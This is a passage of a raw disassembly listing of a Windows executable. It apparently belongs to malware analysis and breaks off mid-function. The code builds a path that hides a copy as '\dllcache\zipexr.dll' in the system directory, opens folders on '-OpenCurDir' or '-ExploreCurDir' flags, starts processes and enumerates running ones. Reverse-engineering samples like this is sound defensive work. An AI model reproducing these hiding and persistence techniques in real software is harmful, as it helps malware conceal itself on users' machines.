:00401663 6D insd
:00401664 69782E65786500 imul edi, dword ptr [eax+2E], 00657865
:0040166B 5C pop esp
:0040166C 64 BYTE 064h
:0040166D 6C insb
:0040166E 6C insb
:0040166F 636163 arpl dword ptr [ecx+63], esp
:00401672 68655C7A69 push 697A5C65
:00401677 7065 jo 004016DE
:00401679 7872 js 004016ED
:0040167B 2E BYTE 02eh
:0040167C 64 BYTE 064h
:0040167D 6C insb
:0040167E 6C insb
:0040167F 00 BYTE 00h
* Referenced by a CALL at Address:
|:004013FA
|
:00401680 55 push ebp
:00401681 89E5 mov ebp, esp
:00401683 83EC18 sub esp, 00000018
:00401686 C744240404010000 mov [esp+04], 00000104
:0040168E C7042450514000 mov dword ptr [esp], 00405150
* Reference To: KERNEL32.GetSystemDirectoryA, Ord:018Ah
|
:00401695 E856210000 Call 004037F0
:0040169A 83EC08 sub esp, 00000008
:0040169D BAFFFFFFFF mov edx, FFFFFFFF
:004016A2 85C0 test eax, eax
:004016A4 0F84C2000000 je 0040176C
:004016AA C744240804010000 mov [esp+08], 00000104
:004016B2 C744240470534000 mov [esp+04], 00405370
:004016BA C7042400000000 mov dword ptr [esp], 00000000
* Reference To: KERNEL32.GetModuleFileNameA, Ord:014Dh
|
:004016C1 E83A210000 Call 00403800
:004016C6 83EC0C sub esp, 0000000C
:004016C9 BAFFFFFFFF mov edx, FFFFFFFF
:004016CE 85C0 test eax, eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401660(C)
|
:004016D0 0F8496000000 je 0040176C
:004016D6 C744240470534000 mov [esp+04], 00405370
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401677(C)
|
:004016DE C7042460524000 mov dword ptr [esp], 00405260
* Reference To: msvcrt.strcpy, Ord:029Bh
|
:004016E5 E8661F0000 Call 00403650
:004016EA 0FB60560524000 movzx eax, byte ptr [00405260]
:004016F1 31C9 xor ecx, ecx
:004016F3 31D2 xor edx, edx
:004016F5 84C0 test al, al
:004016F7 7417 je 00401710
:004016F9 8DB42600000000 lea esi, dword ptr [esi]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040170E(C)
|
:00401700 3C5C cmp al, 5C
:00401702 746C je 00401770
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401772(U)
|
:00401704 42 inc edx
:00401705 0FB68260524000 movzx eax, byte ptr [edx+00405260]
:0040170C 84C0 test al, al
:0040170E 75F0 jne 00401700
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004016F7(C)
|
:00401710 C6816052400000 mov byte ptr [ecx+00405260], 00
:00401717 C744240450514000 mov [esp+04], 00405150
:0040171F C7042480544000 mov dword ptr [esp], 00405480
* Reference To: msvcrt.strcpy, Ord:029Bh
|
:00401726 E8251F0000 Call 00403650
:0040172B C74424045D164000 mov [esp+04], 0040165D
:00401733 C7042480544000 mov dword ptr [esp], 00405480
* Reference To: msvcrt.strcat, Ord:0297h
|
:0040173A E8011F0000 Call 00403640
:0040173F C744240450514000 mov [esp+04], 00405150
:00401747 C7042440504000 mov dword ptr [esp], 00405040
* Reference To: msvcrt.strcpy, Ord:029Bh
|
:0040174E E8FD1E0000 Call 00403650
* Possible StringData Ref from Code Obj ->"\dllcache\zipexr.dll"
|
:00401753 C74424046B164000 mov [esp+04], 0040166B
:0040175B C7042440504000 mov dword ptr [esp], 00405040
* Reference To: msvcrt.strcat, Ord:0297h
|
:00401762 E8D91E0000 Call 00403640
:00401767 BA01000000 mov edx, 00000001
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004016A4(C), :004016D0(C)
|
:0040176C C9 leave
:0040176D 89D0 mov eax, edx
:0040176F C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401702(C)
|
:00401770 89D1 mov ecx, edx
:00401772 EB90 jmp 00401704
:00401774 2D4F70656E sub eax, 6E65704F
:00401779 43 inc ebx
:0040177A 7572 jne 004017EE
:0040177C 44 inc esp
:0040177D 697200006F7065 imul esi, dword ptr [edx+00], 65706F00
:00401784 6E outsb
:00401785 002D4578706C add byte ptr [6C707845], ch
:0040178B 6F outsd
:0040178C 7265 jb 004017F3
:0040178E 43 inc ebx
:0040178F 7572 jne 00401803
:00401791 44 inc esp
:00401792 6972006578706C imul esi, dword ptr [edx+00], 6C707865
:00401799 6F outsd
:0040179A 7265 jb 00401801
:0040179C 00 BYTE 00h
:0040179D 8D BYTE 8dh
:0040179E 76 BYTE 76h
:0040179F 00 BYTE 00h
* Referenced by a CALL at Address:
|:00401405
|
:004017A0 55 push ebp
:004017A1 89E5 mov ebp, esp
:004017A3 81ECA8000000 sub esp, 000000A8
:004017A9 895DF4 mov dword ptr [ebp-0C], ebx
:004017AC 8B5D08 mov ebx, dword ptr [ebp+08]
:004017AF 8975F8 mov dword ptr [ebp-08], esi
:004017B2 897DFC mov dword ptr [ebp-04], edi
:004017B5 803B00 cmp byte ptr [ebx], 00
:004017B8 7516 jne 004017D0
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401822(U), :004018B8(U)
|
:004017BA 8B5DF4 mov ebx, dword ptr [ebp-0C]
:004017BD B801000000 mov eax, 00000001
:004017C2 8B75F8 mov esi, dword ptr [ebp-08]
:004017C5 8B7DFC mov edi, dword ptr [ebp-04]
:004017C8 89EC mov esp, ebp
:004017CA 5D pop ebp
:004017CB C3 ret
:004017CC 8D742600 lea esi, dword ptr [esi]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004017B8(C)
|
:004017D0 C744240474174000 mov [esp+04], 00401774
:004017D8 891C24 mov dword ptr [esp], ebx
* Reference To: msvcrt._stricmp, Ord:019Bh
|
:004017DB E8901E0000 Call 00403670
:004017E0 85C0 test eax, eax
:004017E2 7540 jne 00401824
:004017E4 C6056352400000 mov byte ptr [00405263], 00
:004017EB C744241405000000 mov [esp+14], 00000005
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040178C(C)
|
:004017F3 C744241080174000 mov [esp+10], 00401780
:004017FB C744240C80174000 mov [esp+0C], 00401780
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040178F(C)
|
:00401803 C744240860524000 mov [esp+08], 00405260
* Possible StringData Ref from Code Obj ->"open"
|
:0040180B C744240481174000 mov [esp+04], 00401781
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004018EC(U)
|
:00401813 C7042400000000 mov dword ptr [esp], 00000000
* Reference To: SHELL32.ShellExecuteA, Ord:008Dh
|
:0040181A E891220000 Call 00403AB0
:0040181F 83EC18 sub esp, 00000018
:00401822 EB96 jmp 004017BA
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004017E2(C)
|
* Possible StringData Ref from Code Obj ->"-ExploreCurDir"
|
:00401824 C744240486174000 mov [esp+04], 00401786
:0040182C 891C24 mov dword ptr [esp], ebx
* Reference To: msvcrt._stricmp, Ord:019Bh
|
:0040182F E83C1E0000 Call 00403670
:00401834 85C0 test eax, eax
:00401836 0F8481000000 je 004018BD
:0040183C C744240422000000 mov [esp+04], 00000022
:00401844 8D7B01 lea edi, dword ptr [ebx+01]
:00401847 893C24 mov dword ptr [esp], edi
* Reference To: msvcrt.strchr, Ord:0298h
|
:0040184A E8D11D0000 Call 00403620
:0040184F 85C0 test eax, eax
:00401851 89C6 mov esi, eax
:00401853 7404 je 00401859
:00401855 C60000 mov byte ptr [eax], 00
:00401858 46 inc esi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401853(C)
|
:00401859 8D5D98 lea ebx, dword ptr [ebp-68]
:0040185C 891C24 mov dword ptr [esp], ebx
* Reference To: KERNEL32.GetStartupInfoA, Ord:0180h
|
:0040185F E84C1F0000 Call 004037B0
:00401864 C7459844000000 mov [ebp-68], 00000044
:0040186B 83EC04 sub esp, 00000004
:0040186E 8D5588 lea edx, dword ptr [ebp-78]
:00401871 89542424 mov dword ptr [esp+24], edx
:00401875 895C2420 mov dword ptr [esp+20], ebx
:00401879 C744241C00000000 mov [esp+1C], 00000000
:00401881 C744241800000000 mov [esp+18], 00000000
:00401889 C744241400000000 mov [esp+14], 00000000
:00401891 C744241000000000 mov [esp+10], 00000000
:00401899 C744240C00000000 mov [esp+0C], 00000000
:004018A1 C744240800000000 mov [esp+08], 00000000
:004018A9 89742404 mov dword ptr [esp+04], esi
:004018AD 893C24 mov dword ptr [esp], edi
* Reference To: KERNEL32.CreateProcessA, Ord:0054h
|
:004018B0 E80B1F0000 Call 004037C0
:004018B5 83EC28 sub esp, 00000028
:004018B8 E9FDFEFFFF jmp 004017BA
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401836(C)
|
:004018BD C6056352400000 mov byte ptr [00405263], 00
:004018C4 C744241405000000 mov [esp+14], 00000005
:004018CC C744241080174000 mov [esp+10], 00401780
:004018D4 C744240C80174000 mov [esp+0C], 00401780
:004018DC C744240860524000 mov [esp+08], 00405260
* Possible StringData Ref from Code Obj ->"explore"
|
:004018E4 C744240495174000 mov [esp+04], 00401795
:004018EC E922FFFFFF jmp 00401813
:004018F1 55 push ebp
:004018F2 6E outsb
:004018F3 6B6E6F77 imul ebp, dword ptr [esi+6F], 00000077
:004018F7 6E outsb
:004018F8 50 push eax
:004018F9 726F jb 0040196A
:004018FB 636573 arpl dword ptr [ebp+73], esp
:004018FE 7300 jnb 00401900
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004018FE(C)
|
:00401900 00000000000000000000 BYTE 10 DUP(0)
:0040190A 00000000000000000000 BYTE 10 DUP(0)
:00401914 00000000000000000000 BYTE 10 DUP(0)
:0040191E 00000000000000000000 BYTE 10 DUP(0)
:00401928 00000000000000000000 BYTE 10 DUP(0)
:00401932 00000000000000000000 BYTE 10 DUP(0)
:0040193C 00000000000000000000 BYTE 10 DUP(0)
:00401946 00000000000000000000 BYTE 10 DUP(0)
:00401950 00000000000000000000 BYTE 10 DUP(0)
:0040195A 00000000000000000000 BYTE 10 DUP(0)
:00401964 00000000000000000000 BYTE 10 DUP(0)
:0040196E 00000000000000000000 BYTE 10 DUP(0)
:00401978 00000000000000000000 BYTE 10 DUP(0)
:00401982 00000000000000000000 BYTE 10 DUP(0)
:0040198C 00000000000000000000 BYTE 10 DUP(0)
:00401996 00000000000000000000 BYTE 10 DUP(0)
:004019A0 00000000000000000000 BYTE 10 DUP(0)
:004019AA 00000000000000000000 BYTE 10 DUP(0)
:004019B4 00000000000000000000 BYTE 10 DUP(0)
:004019BE 00000000000000000000 BYTE 10 DUP(0)
:004019C8 00000000000000000000 BYTE 10 DUP(0)
:004019D2 00000000000000000000 BYTE 10 DUP(0)
:004019DC 00000000000000000000 BYTE 10 DUP(0)
:004019E6 00000000000000000000 BYTE 10 DUP(0)
:004019F0 0000000000 BYTE 5 DUP(0)
:004019F5 8D742600 lea esi, dword ptr [esi]
:004019F9 8DBC2700000000 lea edi, dword ptr [edi]
* Referenced by a CALL at Address:
|:00402B8A
|
:00401A00 55 push ebp
:00401A01 B83C110000 mov eax, 0000113C
:00401A06 89E5 mov ebp, esp
:00401A08 57 push edi
:00401A09 56 push esi
:00401A0A 53 push ebx
:00401A0B E8401B0000 call 00403550
:00401A10 0FB73DFD184000 movzx edi, word ptr [004018FD]
:00401A17 C7442408F5000000 mov [esp+08], 000000F5
:00401A1F 8B1DF1184000 mov ebx, dword ptr [004018F1]
:00401A25 C744240400000000 mov [esp+04], 00000000
:00401A2D 8B0DF5184000 mov ecx, dword ptr [004018F5]
:00401A33 8B15F9184000 mov edx, dword ptr [004018F9]
:00401A39 899DD8EEFFFF mov dword ptr [ebp+FFFFEED8], ebx
:00401A3F 0FB61DFF184000 movzx ebx, byte ptr [004018FF]
:00401A46 898DDCEEFFFF mov dword ptr [ebp+FFFFEEDC], ecx
:00401A4C 8D8DE7EEFFFF lea ecx, dword ptr [ebp+FFFFEEE7]
:00401A52 8995E0EEFFFF mov dword ptr [ebp+FFFFEEE0], edx
:00401A58 890C24 mov dword ptr [esp], ecx
:00401A5B 6689BDE4EEFFFF mov word ptr [ebp+FFFFEEE4], di
:00401A62 889DE6EEFFFF mov byte ptr [ebp+FFFFEEE6], bl
* Reference To: msvcrt.memset, Ord:027Ah
|
:00401A68 E8A31B0000 Call 00403610
:00401A6D C744240400100000 mov [esp+04], 00001000
:00401A75 8D95D4EEFFFF lea edx, dword ptr [ebp+FFFFEED4]
:00401A7B 89542408 mov dword ptr [esp+08], edx
:00401A7F 8D95E8EFFFFF lea edx, dword ptr [ebp+FFFFEFE8]
:00401A85 891424 mov dword ptr [esp], edx
* Reference To: PSAPI.EnumProcesses, Ord:0003h
|
:00401A88 E843150000 Call 00402FD0
:00401A8D 83EC0C sub esp, 0000000C
:00401A90 BAFFFFFFFF mov edx, FFFFFFFF
:00401A95 85C0 test eax, eax
:00401A97 747C je 00401B15
:00401A99 8BBDD4EEFFFF mov edi, dword ptr [ebp+FFFFEED4]
:00401A9F 31DB xor ebx, ebx
:00401AA1 C1EF02 shr edi, 02
:00401AA4 39FB cmp ebx, edi
:00401AA6 7360 jnb 00401B08
:00401AA8 90 nop
:00401AA9 8DB42600000000 lea esi, dword ptr [esi]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B06(C)
|
:00401AB0 C744240400000000 mov [esp+04], 00000000
:00401AB8 8BB49DE8EFFFFF mov esi, dword ptr [ebp+4*ebx-00001018]
:00401ABF C7042410040000 mov dword ptr [esp], 00000410
:00401AC6 89742408 mov dword ptr [esp+08], esi |